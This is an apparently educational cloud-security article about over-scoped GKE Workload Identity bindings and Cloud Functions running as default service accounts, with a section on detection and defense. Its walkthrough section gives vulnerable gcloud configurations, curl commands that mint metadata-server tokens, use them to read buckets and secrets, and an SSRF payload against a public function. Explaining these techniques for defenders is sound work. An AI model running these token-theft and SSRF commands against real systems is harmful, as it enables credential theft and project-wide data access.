GCP Workload Identity and Cloud Functions Security

GCP Workload Identity and Cloud Functions Security - article cover image Cloud Security
Time it takes to read this article 7 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Workload Identity Federation for GKE is Google’s answer to the problem of long-lived, exportable service account key files sitting in pods: instead of mounting a JSON key, a Kubernetes ServiceAccount (KSA) is mapped to a GCP IAM service account (GSA), and the GKE metadata server transparently hands out short-lived tokens for that GSA to any pod running under the mapped KSA. It is a genuine security improvement over node-wide metadata access — but the mapping itself is an IAM policy binding, and like any IAM binding it can be scoped too broadly. A binding written against a whole namespace, or against a wildcard member, silently grants every pod in that namespace the identity of whatever GSA it points to.

Cloud Functions have a parallel problem one layer up the stack: every function executes as an attached runtime service account, and unless the deployer explicitly overrides it with --service-account, that account is a project-wide default identity that has historically carried the broad roles/editor role. A function that only needs to read one Pub/Sub topic ends up able to read Cloud Storage buckets, Secret Manager secrets, and BigQuery datasets across the entire project. Combined with --allow-unauthenticated on a Gen2 function (which is really a Cloud Run service under Eventarc), a single code-injection or dependency-confusion bug in function code can become a project-wide privilege escalation.

Attack Prerequisites

Exploiting either surface requires code execution or an accessible endpoint plus a pre-existing over-scoped identity binding:

  • For GKE Workload Identity: the ability to run or exec into a pod (RCE via an app vulnerability, a compromised CI job, or kubectl exec access) inside a namespace whose KSA is bound to a privileged GSA.
  • A Workload Identity binding scoped wider than a single namespace/KSA pair — e.g. roles/iam.workloadIdentityUser granted to [*/*] or to an entire namespace’s default KSA rather than one dedicated KSA.
  • For Cloud Functions: network reachability to an HTTP-triggered function, or the ability to publish to the Pub/Sub topic / bucket that triggers it, plus that function running under a broadly-privileged (often default) service account.
  • No exported key files are needed in either case — the whole point of these features is that they replace keys with ambient, metadata-server-issued tokens, which is exactly what makes an over-scoped binding so quietly dangerous.

How It Works

Workload Identity Federation for GKE links a Kubernetes ServiceAccount to a GCP IAM service account through an IAM policy binding of the form serviceAccount:PROJECT_ID.svc.id.goog[NAMESPACE/KSA_NAME] granted the role roles/iam.workloadIdentityUser on the target GSA, plus an annotation on the KSA itself: iam.gke.io/gcp-service-account=GSA_EMAIL. When a pod running under that KSA calls the GKE metadata server at http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token, the metadata server intercepts the call, checks the pod’s KSA against the binding, and — if it matches — mints and returns a short-lived OAuth2 access token *for the bound GSA*, not for the GKE node’s own service account. Any process inside the pod, including an attacker’s shell, can make that same metadata call with no additional authentication.

The IAM binding is the entire trust boundary. roles/iam.workloadIdentityUser is a member-based grant, so if the member expression is a wildcard ([*/*], matching any namespace and any KSA in the project) or targets a namespace’s default KSA that many pods run under implicitly, the intended one-to-one mapping collapses into a many-to-one mapping: every pod in that namespace — including ones the platform team never meant to have elevated access — can impersonate the privileged GSA.

Cloud Functions Gen2 are built on Cloud Run: a deployed function is a Cloud Run revision fronted by Eventarc (for event triggers) or a direct HTTPS endpoint (for HTTP triggers), each with its own IAM invoker policy (roles/cloudfunctions.invoker / roles/run.invoker). Separately, the code itself runs as whatever identity is attached via --service-account; if that flag is omitted, GCP falls back to the project’s default compute or App Engine service account. Historically that default account is granted roles/editor project-wide, so any code path that can be driven by attacker-controlled input (a deserialization bug, an SSRF that reaches the metadata server, a vulnerable dependency) inherits Editor-level access to nearly every resource in the project.

Vulnerable Code / Configuration

The core misconfiguration: an over-scoped Workload Identity binding granting an entire namespace’s default KSA impersonation rights over a highly privileged GSA, instead of binding one dedicated KSA:

# VULNERABLE: binds the *namespace-wide* default KSA to a privileged GSA
gcloud iam service-accounts add-iam-policy-binding \
  data-pipeline-gsa@my-project.iam.gserviceaccount.com \
  --role=roles/iam.workloadIdentityUser \
  --member="serviceAccount:my-project.svc.id.goog[production/default]"

# ...and the GSA itself is over-privileged:
gcloud projects add-iam-policy-binding my-project \
  --member="serviceAccount:data-pipeline-gsa@my-project.iam.gserviceaccount.com" \
  --role=roles/editor

# Any pod in the 'production' namespace using the *default* KSA (the majority
# of workloads that never set spec.serviceAccountName) can now mint Editor
# tokens for data-pipeline-gsa -- not just the one job that needed it.
Bash

An even worse variant uses a wildcard member, which some teams write when onboarding Workload Identity across many clusters/namespaces at once and never tighten afterward:

# VULNERABLE: wildcard member matches ANY namespace and ANY KSA project-wide
gcloud iam service-accounts add-iam-policy-binding \
  data-pipeline-gsa@my-project.iam.gserviceaccount.com \
  --role=roles/iam.workloadIdentityUser \
  --member="serviceAccount:my-project.svc.id.goog[*/*]"
Bash

On the Cloud Functions side, a public HTTP function deployed with no explicit --service-account inherits the broad default compute service account, and --allow-unauthenticated puts it directly on the internet:

# VULNERABLE: no --service-account (falls back to the default compute SA,
# often roles/editor), and open to unauthenticated invocation.
gcloud functions deploy process-upload \
  --gen2 --runtime=python312 --region=us-central1 \
  --trigger-http --allow-unauthenticated \
  --entry-point=handle_upload --source=.
Bash

Walkthrough / Exploitation

From inside a compromised pod running under the namespace’s default KSA, query the GKE metadata server directly — no credentials are required beyond the Metadata-Flavor header, which any process in the pod can send:

# Confirm the identity the metadata server will hand out
curl -s -H "Metadata-Flavor: Google" \
  http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
# -> data-pipeline-gsa@my-project.iam.gserviceaccount.com

# Mint an OAuth2 access token for that GSA
TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
  http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
Bash

Use the stolen token directly against the GCP REST APIs — no gcloud auth login or key file needed, since the token is already scoped to the privileged GSA’s Editor role:

# Enumerate and read project resources with the impersonated Editor identity
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://storage.googleapis.com/storage/v1/b?project=my-project"

curl -s -H "Authorization: Bearer $TOKEN" \
  "https://secretmanager.googleapis.com/v1/projects/my-project/secrets"

# Or feed the token straight into gcloud for a full CLI session
gcloud auth activate-refresh-token \
  data-pipeline-gsa@my-project.iam.gserviceaccount.com "$TOKEN"
gcloud secrets versions access latest --secret=prod-db-password
Bash

Against the Cloud Function, exploitation is more direct: an unauthenticated caller invokes the endpoint and, if the function code has an SSRF, path traversal, or command-injection flaw, pivots through it to reach the metadata server from inside the function’s own runtime and repeat the token-theft steps above — this time against the default compute service account:

# Trigger the public function; if it has an SSRF sink, redirect it at the
# metadata server to steal the function's own runtime SA token
curl -s "https://us-central1-my-project.cloudfunctions.net/process-upload" \
  -d '{"callback_url":"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"}' \
  -H 'Content-Type: application/json' \
  -H 'Metadata-Flavor: Google'
Bash

Note: GKE’s legacy node metadata concealment and full Workload Identity are not the same control: Workload Identity is the modern, supported replacement, but it only helps if bindings are scoped to individual KSAs. Binding a namespace’s default KSA is a common shortcut during migration that quietly reintroduces the exact ambient-credential problem Workload Identity was adopted to fix.

Opsec: Metadata-server token requests from within a pod generate no GCP-side audit log entry by default — the resulting API calls made *with* the token do appear in Cloud Audit Logs, attributed to the impersonated GSA, not to the pod. This is why the caller identity in Data Access logs should always be cross-referenced against expected workloads rather than trusted at face value.

Detection and Defense

Both surfaces are fixed the same way: shrink the identity a workload can assume to exactly what it needs, and make every token-issuing event visible.

  • Scope Workload Identity bindings to one KSA per GSA — bind [NAMESPACE/specific-ksa] explicitly, never [NAMESPACE/default] or [*/*]; audit with gcloud iam service-accounts get-iam-policy GSA_EMAIL.
  • Replace roles/editor/roles/owner on GSAs with least-privilege predefined or custom roles scoped to the exact APIs the workload calls.
  • Set a dedicated --service-account on every Cloud Function rather than relying on the default compute service account, and review bindings with gcloud functions get-iam-policy FUNCTION_NAME.
  • Avoid --allow-unauthenticated unless the function is genuinely meant to be public; otherwise require roles/cloudfunctions.invoker / roles/run.invoker on specific principals.
  • Enable Cloud Audit Logs (Admin Activity and Data Access) for IAM and the services the GSAs can reach, and route them to a SIEM to alert on API calls from a GSA that don’t correlate with its expected workload.
  • Use Security Command Center to surface findings such as over-privileged service accounts and public Cloud Functions / Cloud Run services.
  • Rotate and tightly bind KSAs per workload — one KSA per Deployment, not one shared across a namespace, so a compromised pod’s blast radius matches a single workload’s actual permissions.

Real-World Impact

Over-privileged default service accounts and loosely scoped Workload Identity bindings are consistently flagged in cloud security assessments and by tools like Google’s own Security Command Center and open-source scanners such as Prowler and ScoutSuite, precisely because both features were designed to eliminate exported key sprawl but are frequently deployed with namespace- or project-wide scope during initial rollout and never tightened. In containerized GKE environments this pattern is one of the most common paths from a single vulnerable application pod to project-wide data access, since the metadata server hands out tokens to any process in the pod without further authentication once the IAM binding exists.

Conclusion

Workload Identity and per-function service accounts are real security improvements over static keys and blanket default identities, but they move the entire trust decision into an IAM policy binding — and a binding scoped to a namespace or a wildcard is functionally no better than the key sprawl it replaced. Bind one KSA to one GSA, keep those GSAs on least-privilege roles, give every Cloud Function its own scoped runtime identity, and audit token issuance and API calls against what each workload is actually supposed to do.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL